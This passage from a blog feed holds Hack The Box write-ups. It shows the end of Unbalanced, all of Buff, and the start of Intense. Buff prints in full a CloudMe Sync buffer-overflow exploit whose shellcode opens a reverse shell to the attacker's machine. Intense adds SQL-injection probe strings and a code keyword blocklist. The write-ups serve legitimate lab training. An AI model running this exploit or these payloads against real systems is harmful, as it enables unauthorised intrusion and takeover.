&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801214225678.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Looking around the container we find a password in the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pihole_config.sh&lt;/code&gt; file:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801214525034.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We can su as root with those creds and pwn the last flag:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-unbalanced/image-20200801214629712.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="rsync" /><category term="encfs" /><category term="squid" /><category term="xpath" /><category term="CVE-2020-11108" /><category term="command injection" /><summary type="html">To solve Unbalanced, we'll find configuration backups files in EncFS and after cracking the password and figuring out how EncFS works, we get the Squid proxy cache manager password that let us discover internal hosts. Proxying through Squid, we then land on a login page that uses Xpath to query an XML backend database. We perform Xpath injection to retrieve the password of each user, then port forward through the SSH shell to reach a Pi-Hole instance, vulnerable to a command injection vulnerability.</summary></entry><entry><title type="html">Buff - Hack The Box</title><link href="https://snowscan.io/htb-writeup-buff/" rel="alternate" type="text/html" title="Buff - Hack The Box" /><published>2020-11-21T00:00:00+00:00</published><updated>2020-11-21T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-buff</id><content type="html" xml:base="https://snowscan.io/htb-writeup-buff/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/buff_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Buff is pretty straightforward: Use a public exploit against the Gym Management System, then get RCE. Do some port-forwarding, then use another exploit (buffer overflow against Cloudme Sync) to get Administrator access.&lt;/p&gt;

&lt;h2 id=&quot;summary&quot;&gt;Summary&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Use unauthenticated file upload vulnerability in Gym Management System 1.0 to get RCE&lt;/li&gt;
  &lt;li&gt;Exploit a buffer overflow vulnerability in the CloudMe Sync application to get RCE as Administrator&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162532670.png&quot; alt=&quot;image-20200726162532670&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;website&quot;&gt;Website&lt;/h2&gt;

&lt;p&gt;There’s a PHP web application running on port 8080 and it looks like it’s a fitness/gym website.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726161829858.png&quot; alt=&quot;image-20200726161829858&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162013695.png&quot; alt=&quot;image-20200726162013695&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162040519.png&quot; alt=&quot;image-20200726162040519&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162116526.png&quot; alt=&quot;image-20200726162116526&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The Contact page shows a possible software name / version which we’ll look up on Exploit-DB.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162202199.png&quot; alt=&quot;image-20200726162202199&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Exploit-DB has a match for Gym Management System 1.0. At the bottom of every page on the website we see &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;projectworlds.in&lt;/code&gt; so it’s a fair guess that this is the software running this website.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162258198.png&quot; alt=&quot;image-20200726162258198&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Luckily for us, the exploit is unauthenticated and provides remote execution so we don’t need anything else to get started.&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;# Exploit Title: Gym Management System 1.0 - Unauthenticated Remote Code Execution
# Exploit Author: Bobby Cooke
# Date: 2020-05-21
# Vendor Homepage: https://projectworlds.in/
# Software Link: https://projectworlds.in/free-projects/php-projects/gym-management-system-project-in-php/
# Version: 1.0
# Tested On: Windows 10 Pro 1909 (x64_86) + XAMPP 7.4.4
# Exploit Tested Using: Python 2.7.17
# Vulnerability Description: 
#   Gym Management System version 1.0 suffers from an Unauthenticated File Upload Vulnerability allowing Remote Attackers to gain Remote Code Execution (RCE) on the Hosting Webserver via uploading a maliciously crafted PHP file that bypasses the image upload filters.
[...]
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;h2 id=&quot;gym-management-system-exploitation&quot;&gt;Gym Management System exploitation&lt;/h2&gt;

&lt;p&gt;The exploit provides a nice pseudo-shell which is useful for looking around and running other commands. We can see our initial shell is running as user &lt;strong&gt;Shaun&lt;/strong&gt; and that we can get the first flag.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726162806589.png&quot; alt=&quot;image-20200726162806589&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;priv-esc&quot;&gt;Priv esc&lt;/h2&gt;

&lt;p&gt;Checking the open ports on the machine, we see there’s a MySQL instance running on port 3306 and something else running on port 8888.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726163049549.png&quot; alt=&quot;image-20200726163049549&quot; /&gt;&lt;/p&gt;

&lt;p&gt;On Exploit-DB we can find a few vulnerabilities for CloudMe Sync. I’ve highlighted the exploit I used. The CloudMe Sync software is not compiled with any of the protections enabled like ASLR and DEP so a good old buffer overflow with shellcode executable on the stack will work fine.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726185742784.png&quot; alt=&quot;image-20200726185742784&quot; /&gt;&lt;/p&gt;

&lt;p&gt;We’ll need to do some port-forwarding to be able to reach port 8888 with our exploit. I could use plink or metasploit to do that but instead I’ll use the https://github.com/xct/xc reverse shell tool. I’ll transfer the tool with smbclient.py from impacket then rename it to contain my IP address and port. It’s an optional feature of xc which is nice in case you can execute a file but can’t pass any parameters to it.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726184935454.png&quot; alt=&quot;image-20200726184935454&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After catching the reverse shell with xc, we’ll use the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;!portfwd&lt;/code&gt; command to redirect port 8888 on our local machine to port 8888 on the remote box.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726185112725.png&quot; alt=&quot;image-20200726185112725&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next, we’ll generate a shellcode that’ll spawn a reverse shell. The output is in Python3 format (it contains the b before the string indicating it’s a byte type). I’ll clean that up and rename buf to shellcode and stick it in the downloaded exploit.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726185959460.png&quot; alt=&quot;image-20200726185959460&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Final exploit shown below:&lt;/p&gt;

&lt;div class=&quot;language-python highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;c1&quot;&gt;#######################################################
# Exploit Title: Local Buffer Overflow on CloudMe Sync v1.11.0
# Date: 08.03.2018
# Vendor Homepage: https://www.cloudme.com/en
# Software Link: https://www.cloudme.com/downloads/CloudMe_1110.exe
# Category: Local
# Exploit Discovery: Prasenjit Kanti Paul
# Web: http://hack2rule.wordpress.com/
# Version: 1.11.0
# Tested on: Windows 7 SP1 x86
# CVE: CVE-2018-7886
# Solution: Update CloudMe Sync to 1.11.2
#######################################################
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;#Disclosure Date: March 12, 2018
#Response Date: March 14, 2018
#Bug Fixed: April 12, 2018
&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;# Run this file in victim's win 7 sp1 x86 system where CloudMe Sync 1.11.0 has been installed.
&lt;/span&gt;
&lt;span class=&quot;kn&quot;&gt;import&lt;/span&gt; &lt;span class=&quot;nn&quot;&gt;socket&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;127.0.0.1&quot;&lt;/span&gt; 

&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;A&quot;&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;1052&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x7B\x8A\xA9\x68&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;		&lt;span class=&quot;c1&quot;&gt;#68a98a7b : JMP ESP - Qt5Core.dll
&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;  &lt;span class=&quot;s&quot;&gt;&quot;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xfc\xe8\x82\x00\x00\x00\x60\x89\xe5\x31\xc0\x64\x8b&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x50\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x4a\x26\x31\xff\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x0d\x01\xc7\xe2\xf2\x52\x57\x8b\x52\x10\x8b\x4a\x3c&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x8b\x4c\x11\x78\xe3\x48\x01\xd1\x51\x8b\x59\x20\x01&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b\x01\xd6\x31&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03\x7d&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x5f\x5a\x8b\x12\xeb\x8d\x5d\x68\x33\x32\x00\x00\x68&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xdf\xe0\xff\xd5\x97\x6a\x05\x68\x0a\x0a\x0e\x15\x68&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x02\x00\x15\xb3\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x68\xf0\xb5\xa2\x56\xff\xd5\x68\x63\x6d\x64\x00\x89&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xe3\x57\x57\x57\x31\xf6\x6a\x12\x59\x56\xe2\xfd\x66&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xc7\x44\x24\x3c\x01\x01\x8d\x44\x24\x10\xc6\x00\x44&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x54\x50\x56\x56\x56\x46\x56\x4e\x56\x56\x53\x56\x68&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x79\xcc\x3f\x86\xff\xd5\x89\xe0\x4e\x56\x46\xff\x30&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x68\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x68&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\xa6\x95\xbd\x9d\xff\xd5\x3c\x06\x7c\x0a\x80\xfb\xe0&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+=&lt;/span&gt; &lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;se&quot;&gt;\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x53\xff\xd5&lt;/span&gt;&lt;span class=&quot;s&quot;&gt;&quot;&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;junk&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;eip&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;shellcode&lt;/span&gt;

&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;AF_INET&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;socket&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;SOCK_STREAM&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;connect&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;((&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;target&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;8888&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt;
&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;payload&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;The exploit triggers the buffer overflow, executes our shellcode and spawn a reverse shell which we catch with a netcat listener.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-buff/image-20200726190204674.png&quot; alt=&quot;image-20200726190204674&quot; /&gt;&lt;/p&gt;</content><author><name>Snowscan</name><email>info@snowscan.io</email></author><category term="hackthebox" /><category term="infosec" /><category term="buffer overflow" /><category term="cve" /><category term="windows" /><category term="file upload" /><category term="cloudme sync" /><summary type="html">Buff is pretty straightforward: Use a public exploit against the Gym Management System, then get RCE. Do some port-forwarding, then use another exploit (buffer overflow against Cloudme Sync) to get Administrator access.</summary></entry><entry><title type="html">Intense - Hack The Box</title><link href="https://snowscan.io/htb-writeup-intense/" rel="alternate" type="text/html" title="Intense - Hack The Box" /><published>2020-11-14T00:00:00+00:00</published><updated>2020-11-14T00:00:00+00:00</updated><id>https://snowscan.io/htb-writeup-intense</id><content type="html" xml:base="https://snowscan.io/htb-writeup-intense/">&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/intense_logo.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Intense starts with code review of a flask application where we find an SQL injection vulnerability that we exploit with a time-based technique.  After retrieving the admin hash, we’ll use a hash length extension attack to append the admin username and hash that we found in the database, while keeping the signature valid, then use a path traversal vulnerability to read the snmp configuration file. With the SNMP read-write community string we can execute commands with the daemon user. To escalate to root, we’ll create an SNMP configuration file with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;agentUser&lt;/code&gt; set to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;root&lt;/code&gt;, then wait for the SNMP daemon to restart to so we can execute commands as root.&lt;/p&gt;

&lt;h2 id=&quot;portscan&quot;&gt;Portscan&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705151323065.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;snmp-enumeration&quot;&gt;SNMP enumeration&lt;/h2&gt;

&lt;p&gt;I always do a quick (-F) scan on UDP ports in case there’s something useful listening. On this machine we have an SNMP daemon listening on port 161.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705151358820.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Using &lt;strong&gt;snmpwalk&lt;/strong&gt; we’re able to pull some information from the machine with the &lt;strong&gt;public&lt;/strong&gt; community string but there’s not much here. There’s no useful information other than the kernel version.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705152930181.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;website-enumeration&quot;&gt;Website enumeration&lt;/h2&gt;

&lt;p&gt;The website provides credentials to log in: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;guest / guest&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705153208027.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;There’s an opensource link at the bottom of the page that gives us a zip file with the source code to the application and after unpacking the zip file we see that this is a Flask web application.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705153905723.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;After logging in, we see a message about crafting our own tools so this is probably some hint about not using sqlmap or automated scanners.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705154049777.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The only functionality we have when we’re logged in is a message form to send messages. This could be a way to XSS, or contains an SQL injection vulnerability.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705154144138.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;identifying-the-vulnerability&quot;&gt;Identifying the vulnerability&lt;/h2&gt;

&lt;p&gt;Let’s look at the application source code now… There’s a couple of interesting things in there:&lt;/p&gt;

&lt;p&gt;Some keywords are blacklisted: &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;rand&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;system&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exec&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;date&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705154620430.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;The login form uses prepared statements so it’s not vulnerable to any SQL injection vulnerability:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705154801963.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;However the message submission function does not use prepared statement and is vulnerable to SQL injection:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/images/htb-writeup-intense/image-20200705155019649.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;sql-injection-exploitation&quot;&gt;SQL injection exploitation&lt;/h2&gt;

&lt;p&gt;Single quote gives an error message:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message='&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unrecognized token: &quot;''')&quot;&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;Balanced single quotes are fine:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message=''&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;With SQLite we can concatenate strings with the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;||&lt;/code&gt; operator:&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message='||'a&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;We  can also concatenate the result of a select statement (but we can’t see the result with the web app):&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;message='||(select 1)||'a&lt;/code&gt; : &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OK&lt;/code&gt;&lt;/p&gt;

&lt;p&gt;What we can do is a time-based attack by using the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;randomblob&lt;/code&gt; statement but as we can see that specific word is blocked in the code.&lt;/p&gt;

